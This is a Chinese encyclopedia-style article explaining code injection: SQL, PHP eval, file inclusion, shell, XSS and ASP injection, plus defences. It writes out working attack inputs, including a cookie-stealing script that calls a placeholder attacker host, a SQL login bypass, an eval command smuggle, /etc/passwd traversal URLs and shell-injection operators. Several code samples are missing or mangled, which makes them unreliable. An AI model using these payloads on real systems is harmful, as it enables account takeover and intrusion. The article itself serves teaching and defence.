代码注入

代码注入（Code injection）是因处理无效数据的而引发的程序错误。代码注入可被攻击者用来导入代码到某特定的电脑程式，以改变程式的执行进程或目的。代码注入攻击的结果可以是灾难性的。例如说：代码注入可作为许多电脑蠕虫繁殖的温床。

**概说及例子**
举例说，有一间公司的网页伺服器上有一个签名簿的程式码，用来让用户发表简短的口信，例如：
Nice site!
不过，这个程式码原来有跨网站指令码漏洞。一个意图入侵者得悉这间公司采用了有问题的程式码，于是试图透过留下一条附带有程式码的口信，例如：
Nice Site,  I think I'll take it.>document.location='http://some_attacker/cookie.cgi?' +document.cookie
如果另一个用户检视了该页，被注入的代码即执行。该代码可让攻击者扮装成另一个用户。然而这个相同的软体臭虫可被使用者意外的触发，亦即造成该网站暴露 HTML 代码。
That post was awesome, :>)
在这个案例里表情符号可造成 HTML 代码不对称，因为不对称的HTML标签被注入到代码里。
大部分这类的问题与哪些可能输入资料，或者特殊资料效果的错误假设相关。一些软体开发员可能犯下危险假设的经典范例如下：- 假设某程式介面使用的元字符永远不会在输入中出现；例如假设英文半形标点符号如引号或者半括弧永不出现。- 假设只有阿拉伯数字字符会当成输入键入。- 假设输入永远不会超过固定栏位大小。- 假设阿拉伯数字只会相等或少于上限。- 假设阿拉伯数字只会相等或大于下限。- 假设用户端原本伺服端提供的默认值 (例如表单的隐藏栏位或者cookie) 无法于用户端被用户修改。这种假设忽略了众所皆知的攻击如cookie下毒：在此cookie值被恶意用户强制设定。- 假设从输入端取得指标或者阵列索引不会出问题。- 假设输入端永远不会提供关于它自己或者其他相关值的虚假资讯，例如档案大小

**代码注入的用途**

**蓄意的用途**

**恶意使用**
代码注入的使用一般被视为心怀恶意的举动，而它确实常常如此。透过代码注入技术在黑或者破解系统上，以取得信息、提权、或者非法存取某系统是相当流行的。
恶意用途的代码注入可包括：- 透过SQL注入(见下文)随意修改资料库中的值。影响所及可从某网站外观损毁，到对敏感资料严重的破坏。- 当用户拜访恶意网站时，透过网页浏览器或其插件的漏洞安全隐患，进行代码注入，以便安装流氓软件到用户机器上。- 透过PHP或者ASP注入安装流氓软件或者执行恶意代码于伺服器端。- 于UNIX系统利用Shell注入安全隐患对setuid root二进位资料作修改，达成提权到root使用权限的目的。- 于视窗系统利用Shell注入安全隐患对系统服务做手脚，达成提权到本地端系统使用权限的目的。- 从网页浏览器利用HTML/脚本注入(跨网站指令码)进行连线窃取 / cookies窃取进而冒充他人，取得他人个人敏感资料。

**善意使用**
某些人可能会出于善意而使用代码注入。例如，透过代码注入以改变或者调试某程式或者系统的行为可以「摆弄」系统以某种方式表现其行为而不怀任何恶意。打比方说：- 代码注入可以添入某原本搜寻结果页面设计上没有的栏位，方便用户。- 透过对原本设计预设函式没有曝光的栏位赋值，代码注入可提供一个全新的方式来过滤、排序、或者归类资料。
这些人诉诸此种替代手段大致是下面几种原因之一：- 对软体中希望改进函式进行润饰的其他方法证明不可能，或者- 其他对软体修改的方式代价过高，或者- 其他对软体修改的方式过度艰苦。
一般开发社群对以此为目的的代码注入不表欢迎。他们称这种行为为三脚猫、半调子、或者骇 / 黑程式。(kludge or hack)
某些开发者允许或者甚至表扬代码注入的使用来「加强」他们的软体；通常是因为该方案提供了较不昂贵的方式来实现新的或者特殊化的功能。不幸的是，其副作用与无法列管的蕴含式可能相当危险。
一般来说，即使相当善意的代码注入使用都不被建议使用。

**非蓄意的用途**
某些用户可能会不经意进行代码注入，因为他们对程式提供的输入，没列在当初开发系统者的考虑中。例如：- 用户可能视某个包含表示字符或者字符字串为合法输入，而不知该字符被开发者所保留而有特殊意义（像「张三 & 李四」里的「&」字符，或者英文约翰的 M&M 巧克力：「John's M&M's」里的单引号)。- 用户可能会提交格式错乱的档案做为输入。这种行为对单一程式没什么问题，但可能对整个接收系统是灾难。

**避免代码注入**
要避免代码注入的种种问题，得充分发挥输入输出处理保全，例如：- 输入确认。- 更换危险字元。例如在PHP透过addslashes()函式保护SQL注入。- 输入编码。- 输出编码。- 采用其他没有饱受代码注入漏洞困扰的编程实现，例如「参数化SQL查询」 ("parameterized SQL queries" 又名 "prepared statements" 亦有时称 "bind variables") 。

**代码注入范例**

**SQL注入**
SQL注入是种乘SQL语法之利，注入可读取或者修改资料库、或者扭曲原始查询意义的命令。
以一个网页有两个栏位让用户输入用户名与密码为例，在该网页幕后工作的代码会产生SQL查询以检查密码是否与用户名称密码列表相符：
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
如果这查询有回应行数，便允许该存取。然而，如果恶意用户键入合法用户名，并且在密码栏注入某些合法代码 ("password' OR '1'='1")，查询结果便如下所示：
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
在上面范例里，"Password"被假定为空白或者某个无害的字串。"'1'='1'"逻辑式将永远为真，并且找到多少行就回应多少行，因此存取就被允许了。
该技术可被精练成允许执行多重陈述，甚或载入外部程式。

**PHP注入**
"PHP注入"、"ASP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对伺服器脚本引擎提供代码的代码注入攻击。在"PHP注入"实例里，伺服端脚本引擎是PHP。
实际上，PHP注入是「动态赋值安全隐患」、「包含档案注入」、或者类似代码注入的安全隐患。

**动态赋值安全隐患**
mitre.orgdate=20201214230803 的史蒂芬克利斯第 (Steven M. Christey)提议以这个名字作为这类型的代码注入安全隐患。

**= 动态赋值安全隐患 - Eval注入 =**
eval注入安全隐患发生在攻击者可控制所有或者部份作为「喂」给eval()函式呼叫的输入字串。
$myvar = 'somevalue'; 
$x = $_GET'arg'; 
eval('$myvar = ' . $x . ';');
"eval"的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果"arg"如果被设成"10; system('/bin/echo uh-oh')"，后面的"system('/bin/echo uh-oh')"代码将被执行，这等同在伺服器上执行开发者意料外的程式。在这范例里头是"/bin/echo"。

**= 动态赋值安全隐患 - 动态变数赋值 =**
如在 "Dynamic Evaluation Vulnerabilities in PHP applications"一文所定义的：
PHP支援 "变数的变数"，意指变数或者表达式可以对其他变数名赋值。这种特性可用来于程式执行时期动态改变哪个变数被存取或给值。这种特性是把双刃剑：强大、便利、同时也很危险。
许多程式有下面类似代码：
$safevar = "0"; 
$param1 = ""; 
$param2 = ""; 
$param3 = ""; 
# my own "register globals" for param1,2,3 
foreach ($_GET as $key => $value) { 
$$key = $value; 
} 
如果攻击者在查询字串中给定"safevar=bad"，那$safevar将会被设为值 "bad"。

**= 动态赋值安全隐患 - 动态函式赋值 =**
下面PHP范例将按照请求的方式执行函式。
$myfunc = $_GET'myfunc'; 
$myfunc(); 
以及：
$myfunc = $_GET'myfunc'; 
${"myfunc"}(); 

**包含档案注入**
考虑下面的PHP程式(这里包含了个档案可因应需求改变)：

red
blue


开发者认为这样大概可以保证只有 blue.php 和 red.php 可被载入。不过随着任何人可在COLOR轻易的插入随意值，造成以下档案注入的可能性：- /vulnerable.php?COLOR= - 注入远端机器上有漏洞的档案。- /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - 从一个已经上载、叫做exploit.php档案运行其代码。- /vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码档案的内容。- /vulnerable.php?COLOR=C:\\notes.txt%00 - 一个使用空元字符以解除.php副档名限制，允许存取其他非 .php 结尾档案。 (PHP预设值"magic_quotes_gpc = On"可以终止这种攻击)

**Shell注入**
Shell注入又称命令行界面注入，它命名源于Unix Shell，不过可套用到大部分允许软体程式化地执行命令列介面的系统上。常见的Shell注入资源有system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程式介面。
考虑下面的简短PHP程式。它执行一段叫做funnytext的外部程式，以置换用户送出的许多其他单字：
该程式可以以多种方式被注入：- `命令` 将会执行 命令.- $(命令) 将会执行 命令.- ; 命令 将会执行 命令，并输出命令的结果。- | 命令 将会执行 命令，并输出命令的结果。- && 命令 将会执行 命令，并输出命令的结果。- 
命令 将会执行 命令，并输出命令的结果。- > /home/user/phpguru/.bashrc 将会覆写档案 .bashrc.-  escapeshellarg()和 escapeshellcmd()以在呼叫方法以前进行编码。然而，实际上并不建议相信这些方法是安全的 - 同样必须对输入确认 / 消毒。

**HTML注入/脚本注入 (跨网站指令码)**
HTML注入/脚本注入是个炒得相当热的话题，一般专业术语为跨网站指令码（Cross-site scripting，通常简称为XSS）。XSS指的是一种依靠用户输入到网页脚本，或者某些像代码行被置于输出HTML，而没有检查HTML代码或脚本的注入漏洞。
这种注入有两个基本型如下：
主动式 (型 1)
这种型态的XSS漏洞比较不危险，因为用户输入被置于动态产生的网页。伺服器端没有任何改变。
被动式 (型 2)
这种型态比较危险，因为输入是写在静态网页上，故威胁是持续性的。

**于IE7透过感染的动态连结函式库(DLL)实行HTML注入**
根据英国技术网站The Register的文献指出，HTML注入亦可发生在用户本身被有问题的DLL感染过的系统身上。该文献引用罗杰汤森 (Roger Thompson) 的说法：受害者的浏览器，实际上，访问了PayPal或其他类似的网站，甚或某动态连结档案将它自己插入IE，并试着在交易进行中读取并修改HTML。该文献提及使用这种手段的钓鱼攻击顺利规避IE7与赛门铁克尝试侦测可疑网站的努力。

**ASP注入**
"ASP注入"、"PHP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对伺服器指令码引擎提供代码的代码注入攻击。在"ASP注入"实例里，伺服端指令码引擎是微软Active Server Pages，一种微软IIS的外加元件。
在实际上与PHP相似，ASP注入也是「动态赋值安全隐患」、「包含档案注入」、或者类似代码注入的安全隐患。
范例：
List of logged users:








在这个范例中，用户可用命令而非用户名取代输入。

**参看**
 除错- 恶意程式：木马程式

**参考**

**外部连结**
Article " The Cross-site Scripting FAQdate=20110902031034 " By Robert CGISecurity.com
*Article " Three Ways to Inject Your Code into Another Process" by Robert Kuster
*Article " Inject your code to a Portable Executable file" by A. Danehkar
*Article " Injective Code inside Import Table" by A. Danehkar
*Article " Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
*News article " Flux spreads wider" - First Trojan horse to make use of code injection to prevent detection from a firewall- The Daily WTFdate=20201211201213  regularly reports real-world incidences of susceptibility to code injection in software.- Known code injection vulnerabilities since 2001 by Armorize Technologies

**知名的代码注入检测程式**
 N-Stalker Web Application Security Scannerdate=20020529214346 - Sandcatdate=20200530040656 - Web Vulnerability Scannerdate=20140610105644 - Maui Security Scanner